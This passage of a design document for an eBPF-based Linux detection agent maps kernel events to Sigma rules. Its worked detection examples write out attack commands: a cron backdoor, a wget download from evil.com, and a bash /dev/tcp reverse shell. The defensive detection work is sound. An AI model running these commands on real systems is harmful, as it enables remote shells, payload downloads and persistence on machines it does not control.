            - '/etc/cron.deny'
            - '/etc/crontab'
    condition: 1 of selection*
level: medium

Scenario: An attacker creates a cron job for persistence:

echo '*/5 * * * * /tmp/backdoor' > /etc/cron.d/updater

The shell opens /etc/cron.d/updater with O_CREAT|O_WRONLY|O_TRUNC.

Step-by-step through the pipeline:

  1. BPF sys_enter_openat fires:

    flags = O_CREAT | O_WRONLY | O_TRUNC  (includes O_CREAT → tracked)
    filename = "/etc/cron.d/updater"
    dfd = AT_FDCWD
    → stored in openat_args[pid_tgid]
    
  2. BPF sys_exit_openat fires:

    return value = 3 (valid fd → success)
    → lookup openat_args[pid_tgid] → found
    → populate file_event, submit to ring buffer
    
  3. BPF file_event received:

    file_event {
        timestamp_ns: 1707600200000000000
        pid:          9100
        uid:          0
        dfd:          -100 (AT_FDCWD)
        flags:        0x241 (O_CREAT | O_WRONLY | O_TRUNC)
        filename:     "/etc/cron.d/updater"
        filename_len: 20
    }
    
  4. Userland field reconstruction:

    filename starts with "/" → absolute, no dfd resolution needed
    /proc/9100/exe          → "/bin/bash"
    os/user.LookupId(0)     → "root"
    
  5. Normalized DataFieldsMap:

    "TargetFilename" = "/etc/cron.d/updater"
    "Image"          = "/bin/bash"
    "User"           = "root"
    "ProcessId"      = "9100"
    
  6. Sigma evaluation:

    selection1:
      TargetFilename|startswith: '/etc/cron.d/'
        → "/etc/cron.d/updater" startswith "/etc/cron.d/" → MATCH
    
    condition: 1 of selection* → selection1 MATCHED → DETECTION at level medium
    

4.8 Worked Example: wget Download to /tmp

Rule: file_event_lnx_wget_download_file_in_tmp_dir.yml

title: Wget Creating Files in Tmp Directory
logsource:
    product: linux
    category: file_event
detection:
    selection:
        Image|endswith: '/wget'
        TargetFilename|startswith:
            - '/tmp/'
            - '/var/tmp/'
    condition: selection
level: medium

Scenario: Attacker downloads a payload:

wget http://evil.com/rat -O /tmp/rat

wget internally calls openat(AT_FDCWD, "/tmp/rat", O_CREAT|O_WRONLY, 0644).

Normalized DataFieldsMap:

"TargetFilename" = "/tmp/rat"
"Image"          = "/usr/bin/wget"
"User"           = "www-data"
"ProcessId"      = "9200"

Sigma evaluation:

Image|endswith: '/wget'
  → "/usr/bin/wget" endswith "/wget" → MATCH

TargetFilename|startswith: '/tmp/'
  → "/tmp/rat" startswith "/tmp/" → MATCH

condition: selection → ALL conditions met → DETECTION at level medium

4.9 Performance Considerations for file_event

Event volume: File creation events can be significantly higher volume than process creation. A busy web server might create thousands of temporary files per second.

MitigationMechanismDefault
BPF-side flag filterOnly track O_CREAT opens (skip reads)Always on
BPF-side path prefix filterOnly emit events for watched directoriesOn (6 default prefixes)
Separate ring bufferfile_event uses its own ring buffer to avoid starving process events4 MB (configurable)
Userland rate limitIf file events exceed 10,000/s, log warning and sampleOff by default

openat_args map sizing: The per-CPU hash map holding in-flight enter/exit pairs is sized at 10,240 entries. This covers the maximum number of concurrent openat() calls system-wide. If the map is full, new enters are silently dropped (safe — just misses an event).

4.10 Limitations

  1. O_CREAT vs true creation: openat with O_CREAT fires even when the file already exists and is merely opened. This means some events represent "open existing file for writing" rather than "create new file." Sigma rules that detect specific filenames (e.g., /etc/crontab) still match correctly regardless.

  2. Rename/move events: Not captured by openat tracing. Detecting file renames requires separate tracing of sys_renameat2. Planned for a future iteration.

  3. File writes without O_CREAT: A process that opens an existing file with O_WRONLY (no O_CREAT) and modifies it is not captured. For Sigma rules that detect modification of existing config files, this could be extended by also tracking O_WRONLY | O_RDWR opens to watched paths.

  4. Hardlink/symlink creation: linkat() and symlinkat() create new directory entries without openat(). Not covered in this phase.


5. Step 3: network_connection via eBPF

5.1 Sigma Rule Corpus Analysis

Target: 5 rules in sigma/rules/linux/network_connection/

Rule FileDetection FocusKey Fields Used
net_connection_lnx_back_connect_shell_dev.ymlBash reverse shell (non-loopback)Image|endswith: '/bin/bash', filter DestinationIp: '127.0.0.1', '0.0.0.0'
net_connection_lnx_crypto_mining_indicators.ymlMonero mining pool connectionsDestinationHostname: 'pool.minexmr.com', ... (22 pool domains)
net_connection_lnx_ngrok_tunnel.ymlNgrok tunneling exfiltrationDestinationHostname|contains: 'tunnel.us.ngrok.com', ...
net_connection_lnx_domain_localtonet_tunnel.ymlLocaltoNet tunneling C2DestinationHostname|endswith: '.localto.net', '.localtonet.com', Initiated: 'true'
net_connection_lnx_susp_malware_callback_port.ymlMalware callback portsInitiated: 'true', DestinationPort: 4444, 8531, ..., filter DestinationIp|cidr: '127.0.0.0/8', ...

Complete Sigma field inventory across all 5 rules:

Sigma FieldModifiers Used# RulesRole
DestinationHostnameexact, |contains, |endswith3Selection
DestinationIpexact, |cidr2 (1 selection, 1 filter)Selection + filter
DestinationPortexact1Selection
Initiatedexact2Selection
Image|endswith1Selection

Rule operability without DestinationHostname:

RuleWorks without DNS?Why
back_connect_shell_devYesUses only Image + DestinationIp
susp_malware_callback_portYesUses Initiated + DestinationPort + DestinationIp
crypto_mining_indicatorsNoUses DestinationHostname only
ngrok_tunnelNoUses DestinationHostname only
domain_localtonet_tunnelNoUses DestinationHostname + Initiated

Result: 2 of 5 rules work immediately; 3 require the DNS correlation phase.

5.2 Hook Selection

Chosen hook: tracepoint/sock/inet_sock_set_state (kernel 4.16+)

Criterioninet_sock_set_state (chosen)kprobe on tcp_connectkprobe on tcp_v4_connectsyscalls/sys_{enter,exit}_connect
ABI stabilityStable tracepointUnstable: function signature changesUnstable, IPv4-onlyStable but generic (all socket types)
Kernel compat4.16+ (well within our 5.2+ baseline)All, but fragileAll, but IPv4 only4.7+
Protocol coverageTCP only (IPv4 + IPv6)TCP onlyIPv4 TCP onlyAll (TCP, UDP, Unix — must filter)
Direction detectionBuilt-in: oldstate/newstate reveals directionOutbound onlyOutbound onlyHard to determine
Data availablestruct sock * → local/remote addr, ports, PIDSameSame (IPv4 only)Raw args (must parse sockaddr)
NoiseLow: fires on state transitions onlyLowLowVery high: includes UDP, Unix sockets

Justification: inet_sock_set_state fires on TCP state transitions, providing a clean, low-noise signal for connection events. It covers both IPv4 and IPv6, and the old/new state pair directly reveals connection direction:

  • TCP_CLOSE → TCP_SYN_SENT = outbound connection initiation
  • TCP_SYN_RECV → TCP_ESTABLISHED = inbound connection accepted

The tracepoint has been stable since kernel 4.16, well within our minimum kernel requirement of 5.2+.

UDP connections: Not covered by this tracepoint. UDP-based Sigma rules (if any are added in the future) would require kprobe/udp_sendmsg or sock/inet_sock_set_state does not apply to UDP. This is an accepted gap for the current rule corpus (all 5 rules target TCP-based connections).

5.3 BPF Program Design

BPF C Struct

// lib/provider/ebpf/bpf/net_monitor.c

struct net_event {
    __u64 timestamp_ns;          // bpf_ktime_get_ns()
    __u32 pid;                   // bpf_get_current_pid_tgid() >> 32
    __u32 uid;                   // bpf_get_current_uid_gid() & 0xFFFFFFFF
    __u16 sport;                 // local port (host byte order)
    __u16 dport;                 // remote port (host byte order)
    __u8  saddr[16];             // local IP  (IPv4: v4-mapped-v6 in bytes 12-15)
    __u8  daddr[16];             // remote IP (IPv4: v4-mapped-v6 in bytes 12-15)
    __u8  family;                // AF_INET (2) or AF_INET6 (10)
    __u8  initiated;             // 1 = outbound (SYN_SENT), 0 = inbound (SYN_RECV→ESTABLISHED)
    __u16 _pad;                  // alignment padding
};

Size: ~64 bytes per event (much smaller than exec events).

BPF Program Flow

SEC("tracepoint/sock/inet_sock_set_state")
int trace_inet_sock_set_state(struct trace_event_raw_inet_sock_set_state *ctx) {
    // Filter: only care about connection establishment transitions
    int oldstate = ctx->oldstate;
    int newstate = ctx->newstate;

    __u8 initiated;
    if (oldstate == TCP_CLOSE && newstate == TCP_SYN_SENT) {
        initiated = 1;  // outbound
    } else if (oldstate == TCP_SYN_RECV && newstate == TCP_ESTABLISHED) {
        initiated = 0;  // inbound
    } else {
        return 0;       // not a connection event we care about
    }

    // Reserve ring buffer space
    struct net_event *evt = bpf_ringbuf_reserve(&events, sizeof(*evt), 0);
    if (!evt) {
        // buffer full → count and drop
        __u32 key = 0;
        __u64 *count = bpf_map_lookup_elem(&lost_events, &key);
        if (count) __sync_fetch_and_add(count, 1);
        return 0;
    }

    // Populate fields from tracepoint context and current task
    evt->timestamp_ns = bpf_ktime_get_ns();
    evt->pid = bpf_get_current_pid_tgid() >> 32;
    evt->uid = bpf_get_current_uid_gid() & 0xFFFFFFFF;
    evt->family = ctx->family;
    evt->sport = ctx->sport;
    evt->dport = ctx->dport;
    evt->initiated = initiated;

    // Copy addresses (IPv4 or IPv6)
    if (ctx->family == AF_INET) {
        // Store as v4-mapped: ::ffff:a.b.c.d
        __builtin_memset(evt->saddr, 0, 10);
        evt->saddr[10] = 0xff; evt->saddr[11] = 0xff;
        __builtin_memcpy(&evt->saddr[12], &ctx->saddr, 4);
        __builtin_memset(evt->daddr, 0, 10);
        evt->daddr[10] = 0xff; evt->daddr[11] = 0xff;
        __builtin_memcpy(&evt->daddr[12], &ctx->daddr, 4);
    } else {
        __builtin_memcpy(evt->saddr, &ctx->saddr_v6, 16);
        __builtin_memcpy(evt->daddr, &ctx->daddr_v6, 16);
    }

    bpf_ringbuf_submit(evt, 0);
    return 0;
}

5.4 Userland Field Reconstruction

Image

  • Source: /proc/PID/exe (same as process_creation and file_event).
  • Cache: Reuses the process correlation cache.
  • Challenge: For long-lived server processes (e.g., nginx, java), the process may have been running before Aurora Linux started. In that case, the correlation cache has no entry, and /proc/PID/exe is the only source.

DestinationIp

  • Source: BPF daddr field.
  • IPv4 formatting: Extract bytes 12-15 from the v4-mapped representation: fmt.Sprintf("%d.%d.%d.%d", daddr[12], daddr[13], daddr[14], daddr[15])
  • IPv6 formatting: net.IP(daddr).String() which handles compression (e.g., ::1, fe80::1).
  • Sigma compatibility: Rules use DestinationIp: '127.0.0.1' (exact) and DestinationIp|cidr: '10.0.0.0/8' (CIDR). Both are handled by go-sigma's built-in CIDR modifier support.

DestinationPort

  • Source: BPF dport field (already in host byte order from the tracepoint).
  • Format: Decimal string: strconv.Itoa(int(dport)).
  • Sigma compatibility: Rules use DestinationPort: 4444 (exact match on integer). go-sigma handles string/int comparison.

SourceIp / SourcePort

  • Source: BPF saddr / sport fields.
  • Not required by current Sigma rules but included for forensic context.

Initiated

  • Source: BPF initiated flag.
  • Format: "true" (outbound) or "false" (inbound).
  • Sigma compatibility: Rules use Initiated: 'true' (string exact match).

DestinationHostname (Deferred — Phase 2)

  • Phase 1: Field is set to empty string "". Rules requiring DestinationHostname will not match.
  • Phase 2 — DNS correlation: A separate BPF program traces DNS queries and responses to build an IP → hostname LRU cache. See Section 5.8.

5.5 network_connection: Full Field Mapping Table

#Sigma FieldDerived FromStored As (DataFieldsMap Key)Example Value
1Image/proc/PID/exe (or process correlation cache)"Image"/bin/bash
2DestinationIpBPF daddr, formatted as IPv4/IPv6 string"DestinationIp"10.0.0.1
3DestinationPortBPF dport (host byte order)"DestinationPort"4444
4InitiatedBPF initiated flag from state transition"Initiated"true
5DestinationHostnameDNS correlation cache (Phase 2)"DestinationHostname"pool.minexmr.com (empty in Phase 1)

Additional internal fields:

FieldSourceKeyPurpose
SourceIpBPF saddr"SourceIp"Forensic context
SourcePortBPF sport"SourcePort"Forensic context
UserBPF uid → username"User"Forensic context
ProcessIdBPF pid"ProcessId"Correlation
EventIDHardcoded 3Event.ID().EventIDLog source routing
Protocol"tcp" (only TCP for now)"Protocol"Forensic context

5.6 Sigma Field Coverage

Sigma Field# Rules Using ItProvided?Notes
DestinationHostname3Phase 2Empty in Phase 1 (DNS correlation required)
DestinationIp2YesFull coverage including CIDR modifier
DestinationPort1YesFull coverage
Initiated2YesFull coverage
Image1YesFull coverage

Phase 1 coverage: 4 of 5 fields provided; 2 of 5 rules fully operational. Phase 2 coverage: 5 of 5 fields; 5 of 5 rules operational.

5.7 Worked Example: Bash Reverse Shell Detection

Rule: net_connection_lnx_back_connect_shell_dev.yml

title: Linux Reverse Shell Indicator
logsource:
    product: linux
    category: network_connection
detection:
    selection:
        Image|endswith: '/bin/bash'
    filter:
        DestinationIp:
            - '127.0.0.1'
            - '0.0.0.0'
    condition: selection and not filter
level: critical

Scenario: Attacker executes a bash reverse shell:

bash -i >& /dev/tcp/10.0.0.1/4242 0>&1

Bash opens a TCP connection to 10.0.0.1:4242. The kernel transitions the socket state from TCP_CLOSE → TCP_SYN_SENT.

Step-by-step through the pipeline:

  1. BPF tracepoint fires (inet_sock_set_state):

    oldstate = TCP_CLOSE, newstate = TCP_SYN_SENT → initiated = 1 (outbound)
    
  2. BPF net_event submitted to ring buffer:

    net_event {
        timestamp_ns: 1707600300000000000
        pid:          7500
        uid:          33
        sport:        45678
        dport:        4242
        saddr:        ::ffff:192.168.1.100
        daddr:        ::ffff:10.0.0.1
        family:       AF_INET
        initiated:    1
    }
    
  3. Userland field reconstruction:

    /proc/7500/exe          → "/bin/bash"
    IPv4 extraction(daddr)  → "10.0.0.1"
    dport                   → "4242"
    initiated               → "true"
    os/user.LookupId(33)    → "www-data"
    
  4. Normalized DataFieldsMap:

    "Image"           = "/bin/bash"
    "DestinationIp"   = "10.0.0.1"
    "DestinationPort" = "4242"
    "SourceIp"        = "192.168.1.100"
    "SourcePort"      = "45678"
    "Initiated"       = "true"
    "User"            = "www-data"
    "ProcessId"       = "7500"
    
  5. Sigma evaluation:

    selection:
      Image|endswith: '/bin/bash'
        → "/bin/bash" endswith "/bin/bash" → MATCH
    
    filter:
      DestinationIp: '127.0.0.1'  → "10.0.0.1" == "127.0.0.1" → NO MATCH
      DestinationIp: '0.0.0.0'    → "10.0.0.1" == "0.0.0.0"   → NO MATCH
      filter overall → NO MATCH (nothing excluded)
    
    condition: selection and not filter → MATCH AND NOT FALSE → DETECTION at level critical
    

5.8 Worked Example: Malware Callback Port Detection

Rule: net_connection_lnx_susp_malware_callback_port.yml

title: Potentially Suspicious Malware Callback Communication - Linux
logsource:
    category: network_connection
    product: linux
detection:
    selection:
        Initiated: 'true'
        DestinationPort:
            - 888
            - 999
            - 2200
            - 2222
            - 4000
            - 4444
            - 6789
            - 8531
            - 50501
            - 51820
    filter_main_local_ranges:
        DestinationIp|cidr:
            - '127.0.0.0/8'
            - '10.0.0.0/8'
            - '172.16.0.0/12'
            - '192.168.0.0/16'
            - '169.254.0.0/16'
            - '::1/128'
            - 'fe80::/10'
            - 'fc00::/7'
    condition: selection and not 1 of filter_main_*
level: high

Scenario: A Sliver C2 implant connects to its handler on port 8531:

/tmp/.cache/update → TCP 203.0.113.50:8531

Normalized DataFieldsMap:

"Image"           = "/tmp/.cache/update"
"DestinationIp"   = "203.0.113.50"
"DestinationPort" = "8531"
"Initiated"       = "true"
"User"            = "www-data"
"ProcessId"       = "7600"

Sigma evaluation:

selection:
  Initiated: 'true'  → "true" == "true" → MATCH
  DestinationPort: 8531 → "8531" in [888, 999, ..., 8531, ...] → MATCH

filter_main_local_ranges:
  DestinationIp|cidr: '127.0.0.0/8'  → "203.0.113.50" in 127/8? → NO
  DestinationIp|cidr: '10.0.0.0/8'   → in 10/8? → NO
  DestinationIp|cidr: '172.16.0.0/12' → in 172.16/12? → NO
  DestinationIp|cidr: '192.168.0.0/16' → in 192.168/16? → NO
  (all CIDR checks fail → filter does NOT match)

condition: selection and not 1 of filter_main_*
  → MATCH AND NOT FALSE → DETECTION at level high

5.9 DNS Correlation Design (Phase 2)

To enable the 3 rules that require DestinationHostname, a DNS correlation subsystem will be added in a follow-up phase.

Architecture:

  ┌──────────────────────────────┐
  │ BPF: kprobe/udp_sendmsg     │
  │   filter: dport == 53        │
  │   extract DNS query name     │
  │   → dns_query ring buffer    │
  └──────────────┬───────────────┘

  ┌──────────────▼───────────────┐
  │ BPF: kprobe/udp_recvmsg     │
  │   filter: sport == 53        │
  │   extract DNS response IPs   │
  │   → dns_response ring buffer │
  └──────────────┬───────────────┘

  ┌──────────────▼───────────────┐
  │ Userland DNS Correlation     │
  │   dns_query_name → pending   │
  │   dns_response: name → IPs   │
  │   → populate IP→hostname LRU │
  └──────────────┬───────────────┘

  ┌──────────────▼───────────────┐
  │ Network Event Enricher       │
  │   on net_event: lookup       │
  │   daddr in IP→hostname cache │
  │   → set DestinationHostname  │
  └──────────────────────────────┘

Cache design:

  • LRU with 65,536 entries
  • Key: IP address string (e.g., "203.0.113.50")
  • Value: hostname string (e.g., "pool.minexmr.com")
  • TTL: 300 seconds (matches typical DNS TTL)
  • Multiple hostnames per IP: store the most recent

Parsing DNS in BPF: DNS wire format parsing in BPF is feasible but complex (label compression, variable-length names). An alternative is to capture the raw DNS packet payload (up to 512 bytes for standard DNS) and parse it in userland Go code, which is simpler and more maintainable.

5.10 Performance Considerations for network_connection

ConcernMitigation
High connection rate (web servers)inet_sock_set_state only fires on state transitions — no per-packet overhead
Short-lived connectionsEvents are small (~64 bytes), ring buffer handles bursts well
Separate ring buffernetwork_connection uses its own 4 MB ring buffer
/proc/PID/exe for long-lived processesResult is cached in the process correlation cache on first lookup

Expected event rates: Most servers establish 10-1,000 TCP connections per second. At 64 bytes/event, even 10,000 connections/s produces only 640 KB/s of ring buffer throughput — well within capacity.


6. Performance, Safety & Deployment

6.1 Backpressure & Drop Policy

  BPF program (kernel)               Go reader goroutine (userland)
  ──────────────────────              ──────────────────────────────
  bpf_ringbuf_reserve(~300 B)        ringbuf.Reader.Read()  ← blocks until data
       │                                   │
       ├─ success → write + submit         ├─ parse binary struct
       │                                   ├─ read /proc/PID/* (< 100 μs)
       └─ NULL (buffer full)               ├─ build DataFieldsMap
            │                              └─ callback(event) → distributor
            └─ atomic_inc(lost_events[0])

No secondary userland queue: The ring buffer IS the queue. The Go goroutine reads and processes events synchronously from it. This avoids double-buffering and keeps memory usage predictable.

Overflow behavior: When the ring buffer is full, the BPF program drops the event and increments the lost counter. The kernel is never blocked or slowed — this is critical for system stability.

6.2 Buffer Sizing

ConfigDefaultRationale
Ring buffer size8 MB (2,048 pages)~28,000 events at ~300 B each. At 1,000 exec/s, 28 seconds of buffer.
CommandLine max read32,768 bytesMatches kernel ARG_MAX practical limits. 99.99% of command lines fit.
Correlation cache size16,384 entriesLRU. Covers ~16K concurrent processes. Typical server has 200-2,000.
UID cache size256 entriesMost systems have < 50 unique UIDs performing execs.

--ringbuf-size is currently an informational CLI flag and is not yet wired to runtime BPF map sizing.

6.3 Truncation Policy

FieldMax LengthTruncation SignalImpact on Sigma Matching
BPF filename256 bytesfilename_len == 256Only affects fallback path; primary source is /proc/PID/exe (no practical limit)
CommandLine32,768 bytesSuffix " ...(truncated)" appended; CommandLineTruncated field set to "true"contains works on prefix portion. endswith may miss on the truncated tail. Analysts see the flag in logs.
Image4,096 bytes (PATH_MAX)Never truncated in practiceN/A
ParentCommandLine32,768 bytesSame as CommandLineSame caveats
comm (BPF)16 bytes (kernel limit)Always truncated for names > 15 charsNot used as a Sigma field; only for fallback identification

6.4 Privileges & Capabilities

CapabilityKernelPurpose
CAP_BPF5.8+Load BPF programs and create BPF maps
CAP_PERFMON5.8+Attach to tracepoints
CAP_SYS_PTRACEAnyRead /proc/PID/exe for other users' processes (depends on yama/ptrace_scope)
CAP_SYS_ADMIN5.2–5.7Replaces CAP_BPF + CAP_PERFMON on older kernels

Recommended: Run as root. Alternative: use systemd AmbientCapabilities for a dedicated aurora user.

6.5 systemd Service

# deploy/aurora.service

[Unit]
Description=Aurora Linux EDR Agent
After=network.target

[Service]
Type=simple
Environment=AURORA_RULES_DIR=/opt/aurora-linux/sigma-rules/rules/linux
Environment=AURORA_LOG_FILE=/var/log/aurora-linux/aurora.log
EnvironmentFile=-/opt/aurora-linux/config/aurora.env
ExecStart=/opt/aurora-linux/aurora-linux \
    --rules ${AURORA_RULES_DIR} \
    --logfile ${AURORA_LOG_FILE} \
    --json
Restart=on-failure
RestartSec=5

# Privileges
User=root
# Alternative non-root setup:
# User=aurora
# AmbientCapabilities=CAP_BPF CAP_PERFMON CAP_SYS_PTRACE
# NoNewPrivileges=false

# BPF requires locked memory for maps and ring buffer
LimitMEMLOCK=infinity

# Resource limits
CPUQuota=35%
MemoryMax=512M

# Hardening
ProtectSystem=strict
ReadWritePaths=/var/log/aurora-linux /opt/aurora-linux
PrivateTmp=true

[Install]
WantedBy=multi-user.target

Critical: LimitMEMLOCK=infinity is required. BPF maps are allocated as locked memory. Without this, bpf(BPF_MAP_CREATE) fails with EPERM.

6.6 Failure Modes When eBPF is Unavailable

Initialize() attempts to load BPF programs via cilium/ebpf. On failure, it produces a specific, actionable error message:

Error PatternLikely CauseLog Message
"unknown func" or "BTF"Kernel too old (< 5.2) or BTF disabledFATAL: eBPF requires kernel 5.2+ with BTF. Detected kernel X.Y. Cannot start.
"EPERM" or "operation not permitted"Missing capabilitiesFATAL: eBPF requires CAP_BPF+CAP_PERFMON (5.8+) or CAP_SYS_ADMIN (5.2-5.7) or root. Cannot start.
"ENOMEM"MEMLOCK limit too lowFATAL: eBPF needs LimitMEMLOCK=infinity in the systemd unit. Cannot start.
"EBUSY" on tracepoint attachAnother BPF program occupies the tracepointFATAL: tracepoint/sched/sched_process_exec is busy. Another eBPF agent may be running. Cannot start.

The agent exits with non-zero exit code. systemd Restart=on-failure handles transient issues (e.g., race during early boot before BPF subsystem is ready).

6.7 Lost Event Monitoring

The LostEvents() method reads the BPF array map counter:

func (l *Listener) LostEvents() uint64 {
    var key uint32 = 0
    var count uint64
    l.objs.LostEvents.Lookup(&key, &count)
    return count
}

Periodically (every 60s), the agent logs the lost event count:

INFO LinuxEBPF: 150,000 events processed, 12 lost (0.008%)

If lost events exceed a configurable threshold (default: 1% of total), a warning is emitted suggesting the operator increase the ring buffer size.


7. Testing Strategy

7.1 Unit Tests: Field Mapping

File: lib/provider/ebpf/fieldmap_test.go

These tests run on any OS (no BPF required). They verify the pure-Go field reconstruction logic:

TestInputExpected Output
TestJoinCmdline[]byte("python3\x00-c\x00import os\x00")"python3 -c import os"
TestJoinCmdlineTruncated[32768]byte all 'A'strings.HasSuffix(result, " ...(truncated)")
TestJoinCmdlineEmpty[]byte{}""
TestJoinCmdlineSingleArg[]byte("ls\x00")"ls"
TestUidToUsernameuid=0"root"
TestUidToUsernameUnknownuid=99999"99999" (numeric fallback)
TestLoginUidParsing"1000""1000"
TestLoginUidUnset"4294967295""" (empty = unset)
TestBuildDataFieldsMapexec_event{Pid: 1234, ...} + resolved fieldsAssert: .Value("Image").String == "/usr/bin/bash", .Value("User").String == "root", .Value("ProcessId").String == "1234"

7.2 Integration Tests: Live eBPF

File: lib/provider/ebpf/integration_test.go Build tag: //go:build integration

These require root and kernel 5.8+. Skipped in normal CI; run on a privileged test VM (e.g., GitHub Actions self-hosted runner or Vagrant VM).

Test 1: Exec Event Capture

TestExecEventCapture:
  1. Create eBPF Listener, call Initialize()
  2. Call SendEvents(callback) where callback collects events into a channel
  3. exec.Command("/bin/echo", "integration-test-marker").Run()
  4. Wait up to 2s for an event where Image endswith "/echo"
     and CommandLine contains "integration-test-marker"
  5. Assert:
       Image == "/bin/echo" (or /usr/bin/echo)
       CommandLine == "echo integration-test-marker"
       User == current test user
       ParentImage endswith test binary name
  6. Close listener

Test 2: End-to-End Sigma Match

TestSigmaMatchEndToEnd:
  1. Load a minimal test Sigma rule:
       logsource: {category: process_creation, product: linux}
       detection:
         selection:
           Image|endswith: '/echo'
           CommandLine|contains: 'sigma-test-marker'
         condition: selection
       level: high
  2. Wire: eBPF Listener → Distributor → SigmaConsumer
  3. Configure SigmaConsumer with the test rule + log source mappings
  4. exec.Command("/bin/echo", "sigma-test-marker").Run()
  5. Wait for SigmaConsumer to produce a match
  6. Assert:
       match.Rule.Title == test rule title
       match event fields contain expected values

7.3 Capture/Replay Harness for CI

For CI environments where BPF is unavailable (standard GitHub Actions runners, containers without BPF):

  1. Recording mode: The eBPF listener supports a --record-events <path> flag. When enabled, each processed event is serialized as a JSON line to the file before being passed to the callback. The JSONL contains the complete DataFieldsMap.

  2. Replay provider: A lib/provider/replay/ package implements EventProvider. It reads JSONL files and emits events with recorded timestamps. This can be wired into the distributor in place of the eBPF provider.

  3. CI test fixture: testdata/recorded_exec_events.jsonl is checked into the repo. It contains events from a controlled test run — executing commands that trigger Sigma rules (base64 decode, Java child process, curl to /tmp, python reverse shell, etc.).

  4. CI test: Load the fixture through the replay provider, run the full Linux Sigma process_creation ruleset, and assert expected matches. This verifies the entire pipeline (field names, log source mapping, Sigma matching) without requiring BPF.

lib/provider/replay/
├── replay.go           ReplayProvider implementing EventProvider
└── replay_test.go      Tests using testdata/*.jsonl

8. Roadmap Beyond Steps 1–3

8.1 DNS Correlation for DestinationHostname (Step 3 Phase 2)

See Section 5.9 for the detailed design. This enables the remaining 3 of 5 network_connection Sigma rules (crypto mining, ngrok, localtonet).

8.2 Future Event Categories

CategoryHookKey FieldsNotes
kernel_module / driver_loadtracepoint/module/module_loadModuleName, Image (insmod/modprobe)Detect rootkit module insertion
file_deletetracepoint/syscalls/sys_enter_unlinkatTargetFilename, ImageDetect evidence destruction
file_renametracepoint/syscalls/sys_enter_renameat2TargetFilename, SourceFilename, ImageDetect file moves/renames
process_terminationtracepoint/sched/sched_process_exitProcessId, Image, ExitCodeCache eviction, process lifetime analysis
dns_querykprobe/udp_sendmsg (port 53)QueryName, QueryType, ImageFeed DestinationHostname DNS correlation cache
file_write (O_WRONLY without O_CREAT)Extend file_monitor.c to also track non-create writes to watched pathsTargetFilename, ImageDetect modification of existing config files

Appendix A: Concrete ToDo List for Step 1 Implementation

#TaskPackageNotes
1Initialize Go module (go mod init)rootModule path: github.com/Nextron-Labs/aurora-linux (or chosen org)
2Write BPF C program exec_monitor.clib/provider/ebpf/bpf/Tracepoint attachment, struct, ring buffer, lost counter
3Run bpf2go code generationlib/provider/ebpf///go:generate directive, check in .go + .o
4Implement EventProvider interfacelib/provider/ebpf/listener.goInitialize, Close, AddSource, SendEvents, LostEvents
5Implement /proc field reconstructionlib/provider/ebpf/procfs.go, fieldmap.goreadExeLink, readCmdline, readCwd, readLoginUid, joinCmdline
6Implement UID→username cachelib/provider/ebpf/usercache.gogolang-lru based
7Define core interfaceslib/provider/provider.go, lib/enrichment/enricher.goEventProvider, DataFields, DataFieldsMap, DataValue
8Implement event distributorlib/distributor/distributor.gocheckEvent → enrich → forward
9Implement enricher + correlatorlib/distributor/enricher.go, lib/enrichment/correlator.goLRU parent cache, ManipulatorFunc registry
10Implement Sigma consumerlib/consumer/sigma/sigmaconsumer.goLoad rules, wrap events, scan, report matches
11Create log source YAML configsresources/log-sources/ebpf-log-sources.yml + ebpf-log-source-mappings.yml
12Implement CLI with cobracmd/aurora/main.goFlags: --rules, --logfile, --json, --ringbuf-size
13Implement JSON + text log formatterslib/logging/Logrus formatters for JSON and human-readable text output
14Write unit tests for field mappinglib/provider/ebpf/fieldmap_test.goSee Section 5.1
15Write integration testslib/provider/ebpf/integration_test.goSee Section 5.2
16Build replay providerlib/provider/replay/For CI without BPF
17Create systemd unit filedeploy/aurora.serviceSee Section 4.5
18Create test fixture JSONLtestdata/recorded_exec_events.jsonlRecord from integration test VM

Appendix B: Event ID Assignments

EventIDCategorySigma logsource.categoryProvider Source
1Process Creationprocess_creationLinuxEBPF:ProcessExec
3Network Connectionnetwork_connectionLinuxEBPF:NetConnect
11File Event (Create)file_eventLinuxEBPF:FileCreate

These IDs are chosen to align with Sysmon event IDs for familiarity, though Aurora Linux is not a Sysmon replacement.